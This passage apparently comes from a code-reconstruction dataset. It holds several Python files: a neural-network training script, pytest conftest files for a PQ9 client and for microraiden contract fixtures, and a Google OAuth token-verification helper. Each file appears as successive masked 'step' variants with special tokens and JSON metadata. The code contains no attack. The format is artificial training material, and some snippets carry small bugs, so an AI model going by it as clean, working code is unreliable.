mpl_toolkits.mplot3d import axes3d\nimport matplotlib.pyplot as plt\nfrom numpy.random import randn\nfrom neural_network import network\n\nnet = network([1,8,8,1], filename='./data/x', bias=True)\n# net.load_random()\nnet.load()\n\nn = 32\n\nx = np.array([[x] for x in np.linspace(0,1,n)])\ny = (1+np.sin(10x))/2\n\nX = [xx[0] for xx in x]\nY = [yy[0] for yy in y]\n\nplt.plot(x,y)\n\nc = 1\nii = 0\n\nfor ii in range(1001):\n # c = net.gradient_training(x,y,dw=0.1)\n c = net.retarded_training(x,y)\n print(ii,c)\n net.save()\n # if ii%10==0 and ii!=0:\n # net.shake(x,y,n=10)\n # net.save()\n # # ii+=1\n\nN = 128\n\nplt.plot(X,Y, 'ro')\n\nX = np.linspace(0,1,N)\nY = []\n\nfor x in X:\n Y += [net.forward([x])[0]]\n\nplt.plot(X,np.array(Y))\nplt.show()\n\n\n# for i in range(len(self.z)):\n# if i==0:\n# yHat = self.forward(x)\n# delta = np.multiply(yHat - y, sigmoidPrime(self.z[-1]))\n# dJdW = np.dot(self.a[-2].T, delta)\n# else:\n# delta = np.dot(delta, self.W[-i].T)sigmoidPrime(self.z[-1-i])\n# dJdW = np.dot(self.a[-2-i].T, delta)\n\n# dJ += [dJdW]\n\n# dJ = dJ[::-1]", "step-ids": [ 0, 1, 2, 3, 4 ] }	[ 0, 1, 2, 3, 4 ]
<\|reserved_special_token_0\|> def pytest_addoption(parser): print('Option ') parser.addoption('--destination', action='store', help= 'subsystem address', dest='destination') @pytest.fixture def destination(request): print(request.config.getoption('--html')) return request.config.getoption('--destination') <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def pytest_collection_modifyitems(session, config, items): print('sono qui', items) def pytest_ignore_collect(path, config): print(path) print('mamma ', config.getoption('--destination')) return False def pytest_addoption(parser): print('Option ') parser.addoption('--destination', action='store', help= 'subsystem address', dest='destination') @pytest.fixture def destination(request): print(request.config.getoption('--html')) return request.config.getoption('--destination') @pytest.fixture(scope='session') def pq9_connection(): pq9client = PQ9Client.PQ9Client('localhost', '10000') pq9client.connect() yield pq9client pq9client.close() <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def pytest_configure(config): print('pytest_configure') def pytest_collection_modifyitems(session, config, items): print('sono qui', items) def pytest_ignore_collect(path, config): print(path) print('mamma ', config.getoption('--destination')) return False def pytest_addoption(parser): print('Option ') parser.addoption('--destination', action='store', help= 'subsystem address', dest='destination') @pytest.fixture def destination(request): print(request.config.getoption('--html')) return request.config.getoption('--destination') @pytest.fixture(scope='session') def pq9_connection(): pq9client = PQ9Client.PQ9Client('localhost', '10000') pq9client.connect() yield pq9client pq9client.close() <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> sys.path.insert(1, '../Generic') <\|reserved_special_token_0\|> def pytest_configure(config): print('pytest_configure') def pytest_collection_modifyitems(session, config, items): print('sono qui', items) def pytest_ignore_collect(path, config): print(path) print('mamma ', config.getoption('--destination')) return False def pytest_addoption(parser): print('Option ') parser.addoption('--destination', action='store', help= 'subsystem address', dest='destination') @pytest.fixture def destination(request): print(request.config.getoption('--html')) return request.config.getoption('--destination') @pytest.fixture(scope='session') def pq9_connection(): pq9client = PQ9Client.PQ9Client('localhost', '10000') pq9client.connect() yield pq9client pq9client.close() <\|reserved_special_token_1\|> # content of conftest.py import pytest import sys sys.path.insert(1, '../Generic') import PQ9Client def pytest_configure(config): print("pytest_configure") def pytest_collection_modifyitems(session, config, items): print("sono qui", items) def pytest_ignore_collect(path, config): print(path) print("mamma ", config.getoption("--destination")) return False def pytest_addoption(parser): print("Option ") parser.addoption( "--destination", action="store", help="subsystem address", dest="destination", ) @pytest.fixture def destination(request): print(request.config.getoption("--html")) #print(request.config.getoption("kkk")) return request.config.getoption("--destination") @pytest.fixture(scope="session") #only 'make' this object once per session. def pq9_connection(): pq9client = PQ9Client.PQ9Client("localhost","10000") pq9client.connect() yield pq9client pq9client.close()	flexible	{ "blob_id": "ad88685e3f1cd5e0ddb42a5982a05ff8ee7b8111", "index": 1586, "step-1": "<mask token>\n\n\ndef pytest_addoption(parser):\n print('Option ')\n parser.addoption('--destination', action='store', help=\n 'subsystem address', dest='destination')\n\n\n@pytest.fixture\ndef destination(request):\n print(request.config.getoption('--html'))\n return request.config.getoption('--destination')\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef pytest_collection_modifyitems(session, config, items):\n print('sono qui', items)\n\n\ndef pytest_ignore_collect(path, config):\n print(path)\n print('mamma ', config.getoption('--destination'))\n return False\n\n\ndef pytest_addoption(parser):\n print('Option ')\n parser.addoption('--destination', action='store', help=\n 'subsystem address', dest='destination')\n\n\n@pytest.fixture\ndef destination(request):\n print(request.config.getoption('--html'))\n return request.config.getoption('--destination')\n\n\n@pytest.fixture(scope='session')\ndef pq9_connection():\n pq9client = PQ9Client.PQ9Client('localhost', '10000')\n pq9client.connect()\n yield pq9client\n pq9client.close()\n", "step-3": "<mask token>\n\n\ndef pytest_configure(config):\n print('pytest_configure')\n\n\ndef pytest_collection_modifyitems(session, config, items):\n print('sono qui', items)\n\n\ndef pytest_ignore_collect(path, config):\n print(path)\n print('mamma ', config.getoption('--destination'))\n return False\n\n\ndef pytest_addoption(parser):\n print('Option ')\n parser.addoption('--destination', action='store', help=\n 'subsystem address', dest='destination')\n\n\n@pytest.fixture\ndef destination(request):\n print(request.config.getoption('--html'))\n return request.config.getoption('--destination')\n\n\n@pytest.fixture(scope='session')\ndef pq9_connection():\n pq9client = PQ9Client.PQ9Client('localhost', '10000')\n pq9client.connect()\n yield pq9client\n pq9client.close()\n", "step-4": "<mask token>\nsys.path.insert(1, '../Generic')\n<mask token>\n\n\ndef pytest_configure(config):\n print('pytest_configure')\n\n\ndef pytest_collection_modifyitems(session, config, items):\n print('sono qui', items)\n\n\ndef pytest_ignore_collect(path, config):\n print(path)\n print('mamma ', config.getoption('--destination'))\n return False\n\n\ndef pytest_addoption(parser):\n print('Option ')\n parser.addoption('--destination', action='store', help=\n 'subsystem address', dest='destination')\n\n\n@pytest.fixture\ndef destination(request):\n print(request.config.getoption('--html'))\n return request.config.getoption('--destination')\n\n\n@pytest.fixture(scope='session')\ndef pq9_connection():\n pq9client = PQ9Client.PQ9Client('localhost', '10000')\n pq9client.connect()\n yield pq9client\n pq9client.close()\n", "step-5": "# content of conftest.py\nimport pytest\nimport sys\nsys.path.insert(1, '../Generic')\nimport PQ9Client\n \ndef pytest_configure(config):\n print(\"pytest_configure\")\n \ndef pytest_collection_modifyitems(session, config, items):\n print(\"sono qui\", items)\n \ndef pytest_ignore_collect(path, config):\n print(path)\n print(\"mamma \", config.getoption(\"--destination\"))\n return False \n\ndef pytest_addoption(parser):\n print(\"Option \")\n parser.addoption(\n \"--destination\", action=\"store\", help=\"subsystem address\", dest=\"destination\",\n )\n@pytest.fixture\ndef destination(request):\n print(request.config.getoption(\"--html\"))\n #print(request.config.getoption(\"kkk\"))\n return request.config.getoption(\"--destination\")\n\n@pytest.fixture(scope=\"session\") #only 'make' this object once per session.\ndef pq9_connection():\n pq9client = PQ9Client.PQ9Client(\"localhost\",\"10000\")\n pq9client.connect()\n\n yield pq9client\n pq9client.close()\n", "step-ids": [ 2, 5, 6, 7, 9 ] }	[ 2, 5, 6, 7, 9 ]
<\|reserved_special_token_0\|> @pytest.fixture def contracts_relative_path(): return 'data/contracts.json' @pytest.fixture def compiled_contracts_path(test_dir, contracts_relative_path): return os.path.join(test_dir, contracts_relative_path) @pytest.fixture def compiled_contracts(compiled_contracts_path): return json.load(open(compiled_contracts_path)) <\|reserved_special_token_0\|> @pytest.fixture(scope='session') def use_tester(request): return request.config.getoption('use_tester') @pytest.fixture def api_endpoint(): """address of a paywall proxy""" return 'localhost' @pytest.fixture def api_endpoint_port(): """port the paywall proxy listens on""" return 5000 @pytest.fixture def api_endpoint_address(api_endpoint, api_endpoint_port): return api_endpoint + ':' + str(api_endpoint_port) @pytest.fixture def init_contract_address(): return '0x' + 'a' * 40 <\|reserved_special_token_0\|> @pytest.fixture(scope='session') def deployer_address(deployer_privkey): return privkey_to_addr(deployer_privkey) <\|reserved_special_token_0\|> @pytest.fixture(scope='session') def contract_abis(contract_abi_path): abi_file = open(contract_abi_path, 'r') return json.load(abi_file) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> @pytest.fixture def contracts_relative_path(): return 'data/contracts.json' @pytest.fixture def compiled_contracts_path(test_dir, contracts_relative_path): return os.path.join(test_dir, contracts_relative_path) @pytest.fixture def compiled_contracts(compiled_contracts_path): return json.load(open(compiled_contracts_path)) <\|reserved_special_token_0\|> @pytest.fixture(scope='session') def use_tester(request): return request.config.getoption('use_tester') @pytest.fixture def api_endpoint(): """address of a paywall proxy""" return 'localhost' @pytest.fixture def api_endpoint_port(): """port the paywall proxy listens on""" return 5000 @pytest.fixture def api_endpoint_address(api_endpoint, api_endpoint_port): return api_endpoint + ':' + str(api_endpoint_port) @pytest.fixture def init_contract_address(): return '0x' + 'a' * 40 <\|reserved_special_token_0\|> @pytest.fixture(scope='session') def deployer_address(deployer_privkey): return privkey_to_addr(deployer_privkey) <\|reserved_special_token_0\|> @pytest.fixture(scope='session') def contract_abis(contract_abi_path): abi_file = open(contract_abi_path, 'r') return json.load(abi_file) <\|reserved_special_token_0\|> @pytest.fixture(scope='session') def token_abi(contract_abis): return contract_abis[TOKEN_ABI_NAME]['abi'] <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> @pytest.fixture def contracts_relative_path(): return 'data/contracts.json' @pytest.fixture def compiled_contracts_path(test_dir, contracts_relative_path): return os.path.join(test_dir, contracts_relative_path) @pytest.fixture def compiled_contracts(compiled_contracts_path): return json.load(open(compiled_contracts_path)) @pytest.fixture def test_dir(): return os.path.dirname(os.path.dirname(__file__)) + '/../' @pytest.fixture(scope='session') def use_tester(request): return request.config.getoption('use_tester') @pytest.fixture def api_endpoint(): """address of a paywall proxy""" return 'localhost' @pytest.fixture def api_endpoint_port(): """port the paywall proxy listens on""" return 5000 @pytest.fixture def api_endpoint_address(api_endpoint, api_endpoint_port): return api_endpoint + ':' + str(api_endpoint_port) @pytest.fixture def init_contract_address(): return '0x' + 'a' * 40 <\|reserved_special_token_0\|> @pytest.fixture(scope='session') def deployer_privkey(): return remove_0x_prefix(encode_hex(keys[3])) @pytest.fixture(scope='session') def deployer_address(deployer_privkey): return privkey_to_addr(deployer_privkey) <\|reserved_special_token_0\|> @pytest.fixture(scope='session') def contract_abis(contract_abi_path): abi_file = open(contract_abi_path, 'r') return json.load(abi_file) @pytest.fixture(scope='session') def channel_manager_abi(contract_abis): return contract_abis[CHANNEL_MANAGER_ABI_NAME]['abi'] @pytest.fixture(scope='session') def channel_manager_bytecode(contract_abis): return contract_abis[CHANNEL_MANAGER_ABI_NAME]['bytecode'] @pytest.fixture(scope='session') def token_abi(contract_abis): return contract_abis[TOKEN_ABI_NAME]['abi'] @pytest.fixture(scope='session') def token_bytecode(contract_abis): return contract_abis[TOKEN_ABI_NAME]['bytecode'] @pytest.fixture(scope='session') def kovan_block_time(): return 4 <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> @pytest.fixture def contracts_relative_path(): return 'data/contracts.json' @pytest.fixture def compiled_contracts_path(test_dir, contracts_relative_path): return os.path.join(test_dir, contracts_relative_path) @pytest.fixture def compiled_contracts(compiled_contracts_path): return json.load(open(compiled_contracts_path)) @pytest.fixture def test_dir(): return os.path.dirname(os.path.dirname(__file__)) + '/../' @pytest.fixture(scope='session') def use_tester(request): return request.config.getoption('use_tester') @pytest.fixture def api_endpoint(): """address of a paywall proxy""" return 'localhost' @pytest.fixture def api_endpoint_port(): """port the paywall proxy listens on""" return 5000 @pytest.fixture def api_endpoint_address(api_endpoint, api_endpoint_port): return api_endpoint + ':' + str(api_endpoint_port) @pytest.fixture def init_contract_address(): return '0x' + 'a' * 40 @pytest.fixture def manager_state_path(): return '/tmp/rmp-state.pkl' @pytest.fixture(scope='session') def deployer_privkey(): return remove_0x_prefix(encode_hex(keys[3])) @pytest.fixture(scope='session') def deployer_address(deployer_privkey): return privkey_to_addr(deployer_privkey) <\|reserved_special_token_0\|> @pytest.fixture(scope='session') def contract_abis(contract_abi_path): abi_file = open(contract_abi_path, 'r') return json.load(abi_file) @pytest.fixture(scope='session') def channel_manager_abi(contract_abis): return contract_abis[CHANNEL_MANAGER_ABI_NAME]['abi'] @pytest.fixture(scope='session') def channel_manager_bytecode(contract_abis): return contract_abis[CHANNEL_MANAGER_ABI_NAME]['bytecode'] @pytest.fixture(scope='session') def token_abi(contract_abis): return contract_abis[TOKEN_ABI_NAME]['abi'] @pytest.fixture(scope='session') def token_bytecode(contract_abis): return contract_abis[TOKEN_ABI_NAME]['bytecode'] @pytest.fixture(scope='session') def kovan_block_time(): return 4 <\|reserved_special_token_1\|> import pytest from eth_utils import encode_hex, remove_0x_prefix from ethereum.tester import keys import os import json from microraiden.client.client import CHANNEL_MANAGER_ABI_NAME, TOKEN_ABI_NAME from microraiden.crypto import privkey_to_addr @pytest.fixture def contracts_relative_path(): return 'data/contracts.json' @pytest.fixture def compiled_contracts_path(test_dir, contracts_relative_path): return os.path.join(test_dir, contracts_relative_path) @pytest.fixture def compiled_contracts(compiled_contracts_path): return json.load(open(compiled_contracts_path)) @pytest.fixture def test_dir(): return os.path.dirname(os.path.dirname(__file__)) + "/../" @pytest.fixture(scope='session') def use_tester(request): return request.config.getoption('use_tester') @pytest.fixture def api_endpoint(): """address of a paywall proxy""" return 'localhost' @pytest.fixture def api_endpoint_port(): """port the paywall proxy listens on""" return 5000 @pytest.fixture def api_endpoint_address(api_endpoint, api_endpoint_port): return api_endpoint + ":" + str(api_endpoint_port) @pytest.fixture def init_contract_address(): return "0x" + "a" * 40 @pytest.fixture def manager_state_path(): return '/tmp/rmp-state.pkl' @pytest.fixture(scope='session') def deployer_privkey(): return remove_0x_prefix(encode_hex(keys[3])) @pytest.fixture(scope='session') def deployer_address(deployer_privkey): return privkey_to_addr(deployer_privkey) @pytest.fixture(scope='session') def contract_abi_path(): return os.path.join(os.path.dirname(os.path.dirname(__file__)), '../data/contracts.json') @pytest.fixture(scope='session') def contract_abis(contract_abi_path): abi_file = open(contract_abi_path, 'r') return json.load(abi_file) @pytest.fixture(scope='session') def channel_manager_abi(contract_abis): return contract_abis[CHANNEL_MANAGER_ABI_NAME]['abi'] @pytest.fixture(scope='session') def channel_manager_bytecode(contract_abis): return contract_abis[CHANNEL_MANAGER_ABI_NAME]['bytecode'] @pytest.fixture(scope='session') def token_abi(contract_abis): return contract_abis[TOKEN_ABI_NAME]['abi'] @pytest.fixture(scope='session') def token_bytecode(contract_abis): return contract_abis[TOKEN_ABI_NAME]['bytecode'] @pytest.fixture(scope='session') def kovan_block_time(): return 4	flexible	{ "blob_id": "438fe1ccf265706e202d7cc6044e57590f29801f", "index": 9375, "step-1": "<mask token>\n\n\n@pytest.fixture\ndef contracts_relative_path():\n return 'data/contracts.json'\n\n\n@pytest.fixture\ndef compiled_contracts_path(test_dir, contracts_relative_path):\n return os.path.join(test_dir, contracts_relative_path)\n\n\n@pytest.fixture\ndef compiled_contracts(compiled_contracts_path):\n return json.load(open(compiled_contracts_path))\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef use_tester(request):\n return request.config.getoption('use_tester')\n\n\n@pytest.fixture\ndef api_endpoint():\n \"\"\"address of a paywall proxy\"\"\"\n return 'localhost'\n\n\n@pytest.fixture\ndef api_endpoint_port():\n \"\"\"port the paywall proxy listens on\"\"\"\n return 5000\n\n\n@pytest.fixture\ndef api_endpoint_address(api_endpoint, api_endpoint_port):\n return api_endpoint + ':' + str(api_endpoint_port)\n\n\n@pytest.fixture\ndef init_contract_address():\n return '0x' + 'a' * 40\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef deployer_address(deployer_privkey):\n return privkey_to_addr(deployer_privkey)\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef contract_abis(contract_abi_path):\n abi_file = open(contract_abi_path, 'r')\n return json.load(abi_file)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\n@pytest.fixture\ndef contracts_relative_path():\n return 'data/contracts.json'\n\n\n@pytest.fixture\ndef compiled_contracts_path(test_dir, contracts_relative_path):\n return os.path.join(test_dir, contracts_relative_path)\n\n\n@pytest.fixture\ndef compiled_contracts(compiled_contracts_path):\n return json.load(open(compiled_contracts_path))\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef use_tester(request):\n return request.config.getoption('use_tester')\n\n\n@pytest.fixture\ndef api_endpoint():\n \"\"\"address of a paywall proxy\"\"\"\n return 'localhost'\n\n\n@pytest.fixture\ndef api_endpoint_port():\n \"\"\"port the paywall proxy listens on\"\"\"\n return 5000\n\n\n@pytest.fixture\ndef api_endpoint_address(api_endpoint, api_endpoint_port):\n return api_endpoint + ':' + str(api_endpoint_port)\n\n\n@pytest.fixture\ndef init_contract_address():\n return '0x' + 'a' * 40\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef deployer_address(deployer_privkey):\n return privkey_to_addr(deployer_privkey)\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef contract_abis(contract_abi_path):\n abi_file = open(contract_abi_path, 'r')\n return json.load(abi_file)\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef token_abi(contract_abis):\n return contract_abis[TOKEN_ABI_NAME]['abi']\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\n@pytest.fixture\ndef contracts_relative_path():\n return 'data/contracts.json'\n\n\n@pytest.fixture\ndef compiled_contracts_path(test_dir, contracts_relative_path):\n return os.path.join(test_dir, contracts_relative_path)\n\n\n@pytest.fixture\ndef compiled_contracts(compiled_contracts_path):\n return json.load(open(compiled_contracts_path))\n\n\n@pytest.fixture\ndef test_dir():\n return os.path.dirname(os.path.dirname(__file__)) + '/../'\n\n\n@pytest.fixture(scope='session')\ndef use_tester(request):\n return request.config.getoption('use_tester')\n\n\n@pytest.fixture\ndef api_endpoint():\n \"\"\"address of a paywall proxy\"\"\"\n return 'localhost'\n\n\n@pytest.fixture\ndef api_endpoint_port():\n \"\"\"port the paywall proxy listens on\"\"\"\n return 5000\n\n\n@pytest.fixture\ndef api_endpoint_address(api_endpoint, api_endpoint_port):\n return api_endpoint + ':' + str(api_endpoint_port)\n\n\n@pytest.fixture\ndef init_contract_address():\n return '0x' + 'a' * 40\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef deployer_privkey():\n return remove_0x_prefix(encode_hex(keys[3]))\n\n\n@pytest.fixture(scope='session')\ndef deployer_address(deployer_privkey):\n return privkey_to_addr(deployer_privkey)\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef contract_abis(contract_abi_path):\n abi_file = open(contract_abi_path, 'r')\n return json.load(abi_file)\n\n\n@pytest.fixture(scope='session')\ndef channel_manager_abi(contract_abis):\n return contract_abis[CHANNEL_MANAGER_ABI_NAME]['abi']\n\n\n@pytest.fixture(scope='session')\ndef channel_manager_bytecode(contract_abis):\n return contract_abis[CHANNEL_MANAGER_ABI_NAME]['bytecode']\n\n\n@pytest.fixture(scope='session')\ndef token_abi(contract_abis):\n return contract_abis[TOKEN_ABI_NAME]['abi']\n\n\n@pytest.fixture(scope='session')\ndef token_bytecode(contract_abis):\n return contract_abis[TOKEN_ABI_NAME]['bytecode']\n\n\n@pytest.fixture(scope='session')\ndef kovan_block_time():\n return 4\n", "step-4": "<mask token>\n\n\n@pytest.fixture\ndef contracts_relative_path():\n return 'data/contracts.json'\n\n\n@pytest.fixture\ndef compiled_contracts_path(test_dir, contracts_relative_path):\n return os.path.join(test_dir, contracts_relative_path)\n\n\n@pytest.fixture\ndef compiled_contracts(compiled_contracts_path):\n return json.load(open(compiled_contracts_path))\n\n\n@pytest.fixture\ndef test_dir():\n return os.path.dirname(os.path.dirname(__file__)) + '/../'\n\n\n@pytest.fixture(scope='session')\ndef use_tester(request):\n return request.config.getoption('use_tester')\n\n\n@pytest.fixture\ndef api_endpoint():\n \"\"\"address of a paywall proxy\"\"\"\n return 'localhost'\n\n\n@pytest.fixture\ndef api_endpoint_port():\n \"\"\"port the paywall proxy listens on\"\"\"\n return 5000\n\n\n@pytest.fixture\ndef api_endpoint_address(api_endpoint, api_endpoint_port):\n return api_endpoint + ':' + str(api_endpoint_port)\n\n\n@pytest.fixture\ndef init_contract_address():\n return '0x' + 'a' * 40\n\n\n@pytest.fixture\ndef manager_state_path():\n return '/tmp/rmp-state.pkl'\n\n\n@pytest.fixture(scope='session')\ndef deployer_privkey():\n return remove_0x_prefix(encode_hex(keys[3]))\n\n\n@pytest.fixture(scope='session')\ndef deployer_address(deployer_privkey):\n return privkey_to_addr(deployer_privkey)\n\n\n<mask token>\n\n\n@pytest.fixture(scope='session')\ndef contract_abis(contract_abi_path):\n abi_file = open(contract_abi_path, 'r')\n return json.load(abi_file)\n\n\n@pytest.fixture(scope='session')\ndef channel_manager_abi(contract_abis):\n return contract_abis[CHANNEL_MANAGER_ABI_NAME]['abi']\n\n\n@pytest.fixture(scope='session')\ndef channel_manager_bytecode(contract_abis):\n return contract_abis[CHANNEL_MANAGER_ABI_NAME]['bytecode']\n\n\n@pytest.fixture(scope='session')\ndef token_abi(contract_abis):\n return contract_abis[TOKEN_ABI_NAME]['abi']\n\n\n@pytest.fixture(scope='session')\ndef token_bytecode(contract_abis):\n return contract_abis[TOKEN_ABI_NAME]['bytecode']\n\n\n@pytest.fixture(scope='session')\ndef kovan_block_time():\n return 4\n", "step-5": "import pytest\nfrom eth_utils import encode_hex, remove_0x_prefix\nfrom ethereum.tester import keys\n\nimport os\nimport json\nfrom microraiden.client.client import CHANNEL_MANAGER_ABI_NAME, TOKEN_ABI_NAME\nfrom microraiden.crypto import privkey_to_addr\n\n\n@pytest.fixture\ndef contracts_relative_path():\n return 'data/contracts.json'\n\n\n@pytest.fixture\ndef compiled_contracts_path(test_dir, contracts_relative_path):\n return os.path.join(test_dir, contracts_relative_path)\n\n\n@pytest.fixture\ndef compiled_contracts(compiled_contracts_path):\n return json.load(open(compiled_contracts_path))\n\n\n@pytest.fixture\ndef test_dir():\n return os.path.dirname(os.path.dirname(__file__)) + \"/../\"\n\n\n@pytest.fixture(scope='session')\ndef use_tester(request):\n return request.config.getoption('use_tester')\n\n\n@pytest.fixture\ndef api_endpoint():\n \"\"\"address of a paywall proxy\"\"\"\n return 'localhost'\n\n\n@pytest.fixture\ndef api_endpoint_port():\n \"\"\"port the paywall proxy listens on\"\"\"\n return 5000\n\n\n@pytest.fixture\ndef api_endpoint_address(api_endpoint, api_endpoint_port):\n return api_endpoint + \":\" + str(api_endpoint_port)\n\n\n@pytest.fixture\ndef init_contract_address():\n return \"0x\" + \"a\" * 40\n\n\n@pytest.fixture\ndef manager_state_path():\n return '/tmp/rmp-state.pkl'\n\n\n@pytest.fixture(scope='session')\ndef deployer_privkey():\n return remove_0x_prefix(encode_hex(keys[3]))\n\n\n@pytest.fixture(scope='session')\ndef deployer_address(deployer_privkey):\n return privkey_to_addr(deployer_privkey)\n\n\n@pytest.fixture(scope='session')\ndef contract_abi_path():\n return os.path.join(os.path.dirname(os.path.dirname(__file__)), '../data/contracts.json')\n\n\n@pytest.fixture(scope='session')\ndef contract_abis(contract_abi_path):\n abi_file = open(contract_abi_path, 'r')\n return json.load(abi_file)\n\n\n@pytest.fixture(scope='session')\ndef channel_manager_abi(contract_abis):\n return contract_abis[CHANNEL_MANAGER_ABI_NAME]['abi']\n\n\n@pytest.fixture(scope='session')\ndef channel_manager_bytecode(contract_abis):\n return contract_abis[CHANNEL_MANAGER_ABI_NAME]['bytecode']\n\n\n@pytest.fixture(scope='session')\ndef token_abi(contract_abis):\n return contract_abis[TOKEN_ABI_NAME]['abi']\n\n\n@pytest.fixture(scope='session')\ndef token_bytecode(contract_abis):\n return contract_abis[TOKEN_ABI_NAME]['bytecode']\n\n\n@pytest.fixture(scope='session')\ndef kovan_block_time():\n return 4\n", "step-ids": [ 10, 11, 17, 18, 21 ] }	[ 10, 11, 17, 18, 21 ]
<\|reserved_special_token_0\|> def getIdInfo(token): try: idinfo = client.verify_id_token(token, CLIENT_ID) if idinfo['aud'] not in [CLIENT_ID]: return None if idinfo['iss'] not in ['accounts.google.com', 'https://accounts.google.com']: return None except crypt.AppIdentityError: return None return idinfo <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def fetchIdToken(): url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token=' f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID)) if f.getCode() != 200: return None return f.read() def getIdInfo(token): try: idinfo = client.verify_id_token(token, CLIENT_ID) if idinfo['aud'] not in [CLIENT_ID]: return None if idinfo['iss'] not in ['accounts.google.com', 'https://accounts.google.com']: return None except crypt.AppIdentityError: return None return idinfo <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> CLIENT_ID = ( '788221055258-j59svg86sv121jdr7utnhc2rs9tkb9s4.apps.googleusercontent.com') def fetchIdToken(): url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token=' f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID)) if f.getCode() != 200: return None return f.read() def getIdInfo(token): try: idinfo = client.verify_id_token(token, CLIENT_ID) if idinfo['aud'] not in [CLIENT_ID]: return None if idinfo['iss'] not in ['accounts.google.com', 'https://accounts.google.com']: return None except crypt.AppIdentityError: return None return idinfo <\|reserved_special_token_1\|> from oauth2client import client, crypt CLIENT_ID = ( '788221055258-j59svg86sv121jdr7utnhc2rs9tkb9s4.apps.googleusercontent.com') def fetchIdToken(): url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token=' f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID)) if f.getCode() != 200: return None return f.read() def getIdInfo(token): try: idinfo = client.verify_id_token(token, CLIENT_ID) if idinfo['aud'] not in [CLIENT_ID]: return None if idinfo['iss'] not in ['accounts.google.com', 'https://accounts.google.com']: return None except crypt.AppIdentityError: return None return idinfo <\|reserved_special_token_1\|> #!/usr/bin/env python2.7 # Google APIs from oauth2client import client, crypt CLIENT_ID = '788221055258-j59svg86sv121jdr7utnhc2rs9tkb9s4.apps.googleusercontent.com' def fetchIdToken(): url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token=' f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID)) if f.getCode() != 200: return None return f.read() def getIdInfo(token): try: idinfo = client.verify_id_token(token, CLIENT_ID) if idinfo['aud'] not in [CLIENT_ID]: # raise crypt.AppIdentityError("Unrecognized client.") return None if idinfo['iss'] not in ['accounts.google.com', 'https://accounts.google.com']: # raise crypt.AppIdentityError("Wrong issuer.") return None except crypt.AppIdentityError: return None return idinfo	flexible	{ "blob_id": "2251a6064998f25cca41b018a383053d73bd09eb", "index": 2321, "step-1": "<mask token>\n\n\ndef getIdInfo(token):\n try:\n idinfo = client.verify_id_token(token, CLIENT_ID)\n if idinfo['aud'] not in [CLIENT_ID]:\n return None\n if idinfo['iss'] not in ['accounts.google.com',\n 'https://accounts.google.com']:\n return None\n except crypt.AppIdentityError:\n return None\n return idinfo\n", "step-2": "<mask token>\n\n\ndef fetchIdToken():\n url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token='\n f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID))\n if f.getCode() != 200:\n return None\n return f.read()\n\n\ndef getIdInfo(token):\n try:\n idinfo = client.verify_id_token(token, CLIENT_ID)\n if idinfo['aud'] not in [CLIENT_ID]:\n return None\n if idinfo['iss'] not in ['accounts.google.com',\n 'https://accounts.google.com']:\n return None\n except crypt.AppIdentityError:\n return None\n return idinfo\n", "step-3": "<mask token>\nCLIENT_ID = (\n '788221055258-j59svg86sv121jdr7utnhc2rs9tkb9s4.apps.googleusercontent.com')\n\n\ndef fetchIdToken():\n url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token='\n f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID))\n if f.getCode() != 200:\n return None\n return f.read()\n\n\ndef getIdInfo(token):\n try:\n idinfo = client.verify_id_token(token, CLIENT_ID)\n if idinfo['aud'] not in [CLIENT_ID]:\n return None\n if idinfo['iss'] not in ['accounts.google.com',\n 'https://accounts.google.com']:\n return None\n except crypt.AppIdentityError:\n return None\n return idinfo\n", "step-4": "from oauth2client import client, crypt\nCLIENT_ID = (\n '788221055258-j59svg86sv121jdr7utnhc2rs9tkb9s4.apps.googleusercontent.com')\n\n\ndef fetchIdToken():\n url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token='\n f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID))\n if f.getCode() != 200:\n return None\n return f.read()\n\n\ndef getIdInfo(token):\n try:\n idinfo = client.verify_id_token(token, CLIENT_ID)\n if idinfo['aud'] not in [CLIENT_ID]:\n return None\n if idinfo['iss'] not in ['accounts.google.com',\n 'https://accounts.google.com']:\n return None\n except crypt.AppIdentityError:\n return None\n return idinfo\n", "step-5": "#!/usr/bin/env python2.7\n\n# Google APIs\nfrom oauth2client import client, crypt\n\nCLIENT_ID = '788221055258-j59svg86sv121jdr7utnhc2rs9tkb9s4.apps.googleusercontent.com'\n\ndef fetchIdToken():\n url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token='\n f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID))\n if f.getCode() != 200:\n return None\n return f.read()\n\ndef getIdInfo(token):\n try:\n idinfo = client.verify_id_token(token, CLIENT_ID)\n if idinfo['aud'] not in [CLIENT_ID]:\n # raise crypt.AppIdentityError(\"Unrecognized client.\")\n return None\n if 